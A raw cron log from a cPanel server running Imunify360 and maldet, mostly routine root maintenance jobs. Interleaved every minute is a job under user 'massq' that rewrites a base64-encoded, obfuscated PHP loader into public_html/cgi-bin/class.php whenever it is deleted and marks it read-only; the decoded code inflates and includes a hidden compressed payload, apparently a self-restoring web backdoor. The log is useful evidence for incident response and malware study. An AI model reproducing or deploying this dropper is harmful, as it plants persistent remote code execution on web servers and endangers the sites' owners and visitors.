Sep  4 06:39:01 server CROND[29503]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 06:39:01 server CROND[29504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:39:01 server CROND[29505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:40:01 server CROND[29889]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:40:01 server CROND[29893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:40:01 server CROND[29891]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:40:01 server CROND[29895]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:40:01 server CROND[29898]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:40:01 server CROND[29892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:40:01 server CROND[29897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:40:01 server CROND[29896]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:41:01 server CROND[30803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:41:01 server CROND[30802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:41:01 server CROND[30804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:42:01 server CROND[31188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:42:01 server CROND[31187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:42:01 server CROND[31189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:42:01 server CROND[31190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:43:01 server CROND[31617]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:43:01 server CROND[31618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:43:01 server CROND[31619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:44:01 server CROND[31992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:44:01 server CROND[31994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:44:01 server CROND[31993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:45:01 server CROND[32366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:45:01 server CROND[32368]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:45:01 server CROND[32371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:45:01 server CROND[32370]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:45:01 server CROND[32372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:45:01 server CROND[32374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:45:01 server CROND[32375]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:46:01 server CROND[756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:46:01 server CROND[757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:46:01 server CROND[758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:47:01 server CROND[1325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:47:01 server CROND[1326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:47:01 server CROND[1328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:48:01 server CROND[1718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:48:01 server CROND[1719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:48:01 server CROND[1720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:49:01 server CROND[2126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:49:01 server CROND[2127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:49:01 server CROND[2128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:50:01 server CROND[2507]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:50:01 server CROND[2508]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:50:01 server CROND[2510]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:50:01 server CROND[2511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:50:01 server CROND[2515]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:50:01 server CROND[2514]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:50:01 server CROND[2513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
